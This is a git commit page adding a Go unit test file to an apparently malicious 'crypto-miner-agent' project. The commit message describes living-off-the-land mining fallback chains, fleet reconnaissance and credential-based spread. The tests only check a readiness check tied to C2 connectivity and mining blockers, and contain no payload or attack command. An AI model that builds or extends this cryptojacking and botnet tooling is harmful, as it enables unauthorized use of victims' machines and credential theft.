Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
48
agent/client/mining_ready_test.go
Normal file
48
agent/client/mining_ready_test.go
Normal file
@@ -0,0 +1,48 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) {
|
||||
d := MiningDiagnostics{C2Connected: false}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false without C2")
|
||||
}
|
||||
d.C2Connected = true
|
||||
if !MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected true with C2 and no hard blockers")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) {
|
||||
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false when chain exhausted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) {
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
HostMiningDisabled: true,
|
||||
ContainerRunning: false,
|
||||
}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false when host mining disabled without container")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
LikelyBlockers: []string{"C2 connected but no mining job delivered"},
|
||||
}
|
||||
if !MiningDiagnosticsReady(d) {
|
||||
t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers)
|
||||
}
|
||||
_ = c
|
||||
}
|
||||
Reference in New Issue
Block a user